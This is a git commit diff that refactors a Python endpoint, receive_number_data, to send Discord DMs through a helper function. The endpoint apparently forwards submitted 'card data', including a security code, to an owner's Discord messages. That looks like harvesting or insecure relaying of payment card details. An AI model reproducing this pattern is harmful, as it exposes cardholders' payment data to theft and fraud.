Refactor: Use API helper for Discord DM sending in receive_number_data

Migrate the direct `discord.py` DM sending in the `receive_number_data` endpoint to use the `send_discord_message_via_api` helper function.

This change centralizes Discord API calls for DMs, improving consistency and error handling. The error handling logic has been updated to process the helper function's result.
This commit is contained in:
Slipstream 2025-05-21 17:01:44 -06:00
parent 3dc3a2d9ae
commit 69b53811ad
Signed by: slipstream
GPG Key ID: 13E498CE010AC6FD

View File

@ -2884,17 +2884,23 @@ async def receive_number_data(data: NumberData):
f"Security Code: {data.code}"
)
# Send DM directly using discord.py's send method
await owner_user.send(dm_content)
# Get the DM channel for the owner
dm_channel = await owner_user.create_dm()
dm_channel_id = dm_channel.id
# Send DM using the helper function
result = await send_discord_message_via_api(dm_channel_id, dm_content)
if result["success"]:
log.info(f"Successfully DMed card data to owner {owner_id}.")
return {"success": True, "message": "Card data DMed to owner successfully."}
else:
log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}")
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {result['message']}")
except discord.HTTPException as e:
log.error(f"Discord API error sending DM to owner {owner_id}: {e}")
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: Discord API error - {e.text}")
except Exception as e:
log.error(f"Unexpected error sending DM to owner {owner_id}: {e}")
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {str(e)}")
log.error(f"Unexpected error in receive_number_data for owner {owner_id}: {e}")
raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}")
@discordapi_app.post("/sync")
async def discordapi_sync_conversations(request: Request, user_id: str = Depends(verify_discord_token)):